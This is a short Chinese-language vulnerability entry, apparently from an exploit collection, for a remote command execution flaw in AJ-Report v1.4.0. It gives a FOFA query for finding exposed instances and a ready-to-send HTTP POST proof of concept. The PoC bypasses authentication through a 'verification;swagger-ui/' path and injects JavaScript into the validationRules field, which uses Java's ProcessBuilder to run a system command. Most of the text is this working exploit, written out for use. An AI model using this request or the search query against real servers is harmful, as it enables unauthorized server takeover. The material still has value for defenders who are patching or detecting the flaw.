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34 lines
1.3 KiB
Markdown
34 lines
1.3 KiB
Markdown
## AJ-Report开源数据大屏存在远程命令执行漏洞
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该平台可以通过post方式在validationRules参数对应值中进行命令执行，可以获得服务器权限，登陆管理后台接管大屏。如果被不法分子利用，书写反动标语，危害后果十分严重。
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## 影响版本
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```
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最新版本v1.4.0
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```
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## fofa
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```
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title="AJ-Report"
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```
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## poc
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```
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POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
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Host:
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
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Accept-Encoding: gzip, deflate, br
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Accept-Language: zh-CN,zh;q=0.9
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Content-Type: application/json;charset=UTF-8
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Connection: close
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{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
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```
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## 漏洞来源
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- https://gitee.com/anji-plus/report/issues/I9HCB2
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